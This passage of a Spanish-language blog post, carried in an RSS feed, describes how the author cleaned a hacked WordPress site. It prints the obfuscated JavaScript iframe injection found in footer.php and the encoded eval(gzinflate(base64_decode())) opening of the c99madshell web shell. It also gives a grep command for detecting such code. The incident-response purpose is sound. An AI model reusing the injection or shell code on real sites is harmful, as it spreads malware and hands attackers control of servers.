&lt;5cr1pt language=JavaScript&amp;gt;document.//**write(unescape('%3csc%72ipt languag%65=%4a%61vaS%63rip%74%3edo%63ument.wr%69%74%65(un%65%73cape(%27%253%632569%256'+'6r%61mew'+'idth=%253%31 h%25%365ig%27%2b%27ht=1%252025%362%256%66rd%65r=%30fram%2565b%6f%2572d%27+%27%65r=%2530 %2572%63=%2527ht%74p:/%25%32fke%72%69%256%34%256%39%25%361nge%25'+'6%63i73%2ec%6fm%252%66%2576%2538%252findex%2e%70hp%252725%33e%253c%27%2b%27%25%32f%69f%72%256%31m%25%36%35%253e%27))%3c/sc%72%69p%74%3e'))
</pre>
<p>En las tres ocasiones este código estaba justo sobre el cierre de la etiqueta body (<code></body></code>), por lo que supuse que estaba en el archivo que genera esa parte del código: <code>footer.php</code>. Bueno, como era de esperarse ahí estaba el código, lo eliminé y luego borraba el caché y asunto solucionado hasta que volvía a ocurrir. Sin contar por supuesto que cada vez cambié todas las claves.</p>
<p>Hasta acá, podemos sacar que al menos este tipo de ataques se valen de javascript y específicamente de la función <code>document.write(unescape())</code>, por lo que no estaría mal que cada cierto tiempo buscaras por líneas sospechosas como aquella.</p>
<p>Si es que acaso quieren decodificar ese código sin cargarlo en su html por supuesto, hay varias aplicaciones web dando vuelta por internet, <a href="http://scriptasylum.com/tutorials/encode-decode.html">esta</a> al menos, funciona bastante bien.</p>
<h2>La solución definitiva</h2>
<p>Era obvio que si bien solucionaba el problema parcialmente algo estaba pasando que se repetía continuamente. Dado que el archivo se modificaba supuse que quizá la gente de <a href="http://www.dreamhost.com">Dreamhost</a> sabría algo (lo otro que pensaba hacer era mirar los logs de apache, pero nunca alcancé :P). Como nunca, se tardaron un día en responder y me dijeron que habían algunos archivos infectados.</p>
<p>Durante todo ese tiempo, estuve investigando y resulta que es muy común que al igual que en javascript utilizando la función <code>unescape</code>, en php utilizan <code>base64_decode</code>. El asunto ahora era:</p>
<p>¿Cómo busco en todos mis archivos del servidor por esa cadena?</p>
<p>Parecía una tarea titánica hasta que <a title="Grep - Comando muy útil" href="http://www.glatelier.org/2009/09/grep-comando-muy-util/">recordé</a> el comando <code>grep</code> que utilizo prácticamente todos los días.</p>
<blockquote class="information"><p>Para poder realizar esto en tu servidor necesitas tener acceso ssh, me parece que no basta con acceso ftp.</p></blockquote>
<p>La utilización básica de <code>grep</code> es:</p>
<p><code class="snip">grep [OPTION]... PATTERN [ARCHIVO]...</code></p>
<p>Como pretendo buscar en todos los archivos de mi usuario, lo primero que tengo que hacer es utilizar el parámetro para que la búsqueda sea recursiva (<code>-R</code>), como soy alaraco me gusta poder reconocer claramente los archivos así que le pongo color (<code>--color=auto</code>), inicialmente quiero listar los archivos y que no muestre todo el contenido (<code>-l</code>), además, no quiero correr el riesgo que no detecte algún archivo por alguna diferencia de capitalización (mayúsculas y minúsculas) por lo que agrego la última opción para evitarlo (<code>-i</code>). Luego de toda la serie de opciones, sólo bastaría poner la cadena en cuestión; <code>base64_decode</code> y el lugar (<code>./</code>, dado que quiero partir desde el directorio actual, poner <code>/home/user</code> o el directorio que quieras es igualmente válido.</p>
<p>Finalmente el comando quedaría:</p>
<p><code class="snip">grep -R --color=auto -l -i "base64_decode" ./</code></p>
<p>Además del par de archivos de archivos que incluía wordpress con esa cadena, aparecieron dos archivos bastante curiosos (pero notablemente bien camuflados), uno en el tema por defecto de wordpress (Kubrick) llamado <code>rtl.php</code> y el otro en un viejo tema que ya no utilizo llamado <code>conf.php</code>. Ambos archivos muy similares comenzaban así:</p>
<pre class="brush: php; title: ; notranslate">
&lt;?PHP
             //Authentication
$login = &quot;&quot;; //Login
$pass = &quot;&quot;;  //Pass
$md5_pass = &quot;&quot;; //If no pass then hash
eval(gzinflate(base64_decode('HJ3HkqNQEkU/ZzqCBd4t8V4YA....... [...]')));
</pre>
<p>El resto era una línea larguísima con un montón de caracteres alfanúmericos totalmente incomprensibles. Gracias a <a title="Tangential Musings - Decoding eval gzinflate base64_decode" href="http://danilo.ariadoss.com/decoding-eval-gzinflate-base64-decode/">este</a> script y esta pequeña <a title="Taree Internet - Decrypt" href="http://www.tareeinternet.com/scripts/decrypt.php">aplicación web</a> pude decodificar este extraño script que terminó siendo <a href="http://madnet.name/eng/files/1/10.html">c99madshell</a>, una verdadera navaja suiza del hackeo:</p>
<div id="attachment_6775" class="wp-caption aligncenter" style="width: 610px"><a href="http://www.glatelier.org/wp-content/uploads/2010/06/madshell.png"><img src="http://www.glatelier.org/wp-content/uploads/2010/06/madshell-600x351.png" alt="" title="c99madshell" width="600" height="351" class="size-medium wp-image-6775" /></a><p class="wp-caption-text">He ahí la herramienta montada en mi servidor local</p></div>
<p>Si quieren saber más sobre la herramienta les sugiero que revisen la <a title="Derek Fountain - Security c99madshell" href="http://www.derekfountain.org/security_c99madshell.php">espectacular revisión</a> que hizo Derek Fountain o una traducción ahí no más <a title="Un hacker vino con c99madshell edición madnet v. 2.0.60" href="http://www.taringa.net/posts/ebooks-tutoriales/5432241/Un-hacker-vino-con-c99madshell-edici%C3%B3n-madnet-v_-2_0_60.html">por acá</a>, por alguien que ni siquiera le dió el crédito, pero bueno, eso es harina de otro costal.</p>
<h2>El ataque</h2>
<p>Bueno, el ataque consistió básicamente en subir el archivo php (c99madshell) al servidor y desde ahí, bueno, era libre de hacer lo que quisiera con el blog, borrar archivos, cambiar claves de ftp, sql, etc. Lo que aún no sé, ni entiendo es cómo lo logró. Supuestamente sería por versiones desactualizadas del sistema (viejos <em>exploits</em>), pero siempre he estado utilizando la última versión de todo el software que tengo en el servidor. Lo otro que muchas veces hacen es subir el script a través de algún sistema que lo permita, por ejemplo, subir un avatar en algún foro. Lo raro, nuevamente, es que todo lo que hay en el server, al menos en mi usuario no se cuenta con ello.</p>
<p>Luego de subido el archivo, el resto es pan comido, basta direccionar el navegador a la dirección donde lo subiste, igual que como se accedería a cualquier url, pero te encontrarías con algo como lo la foto de más arriba.</p>
<p>Aún no me he dado el tiempo de analizar bien ese tema, pero si alguna vez logro comprender como es que ese shell llegó ahí, pues les contaré ;).</p>
<h2 id="resumen">En resumen&#8230;</h2>
<p>Alguien o un bot de alguna forma que aún no logro dilucidar subió un script php, específicamente c99madshell, al servidor y de ahí se dedicó a modificar el archivo <code>footer.php</code> del tema con un javascript que ocultaba un iframe que cargaba algún virus.</p>
<p>Eso sería por ahora, espero que les haya servido de algo :).</p>
<p><strong>Foto:</strong></p>
<ul>
<li><a href="http://www.sxc.hu/photo/1214218">Old chain 3</a> por <a href="http://www.sxc.hu/profile/saavem">saveem</a> « <a href="http://www.sxc.hu">stock.xchng</a></li>
</ul>
<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://www.glatelier.org/2010/06/wordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado/" data-text="Wordpress: Limpiar tu sitio luego de haber sido atacado" data-count="horizontal">Tweet</a><p><a class="a2a_button_twitter" href="http://www.addtoany.com/add_to/twitter?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Twitter" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/twitter.png" width="16" height="16" alt="Twitter"/></a><a class="a2a_button_facebook" href="http://www.addtoany.com/add_to/facebook?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Facebook" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/facebook.png" width="16" height="16" alt="Facebook"/></a><a class="a2a_button_delicious" href="http://www.addtoany.com/add_to/delicious?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Delicious" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/delicious.png" width="16" height="16" alt="Delicious"/></a><a class="a2a_button_digg" href="http://www.addtoany.com/add_to/digg?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Digg" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/digg.png" width="16" height="16" alt="Digg"/></a><a class="a2a_button_meneame" href="http://www.addtoany.com/add_to/meneame?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Meneame" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/meneame.png" width="16" height="16" alt="Meneame"/></a><a class="a2a_button_google_reader" href="http://www.addtoany.com/add_to/google_reader?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Google Reader" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/reader.png" width="16" height="16" alt="Google Reader"/></a><a class="a2a_button_tumblr" href="http://www.addtoany.com/add_to/tumblr?linkurl=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;linkname=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" title="Tumblr" rel="nofollow" target="_blank"><img src="http://www.glatelier.org/wp-content/plugins/add-to-any/icons/tumblr.png" width="16" height="16" alt="Tumblr"/></a><a class="a2a_dd a2a_target addtoany_share_save" href="http://www.addtoany.com/share_save#url=http%3A%2F%2Fwww.glatelier.org%2F2010%2F06%2Fwordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado%2F&amp;title=WordPress%3A%20Limpiar%20tu%20sitio%20luego%20de%20haber%20sido%20atacado" id="wpa2a_20">Compartir</a></p>]]></content:encoded>
			<wfw:commentRss>http://www.glatelier.org/2010/06/wordpress-limpiar-tu-sitio-luego-de-haber-sido-atacado/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>

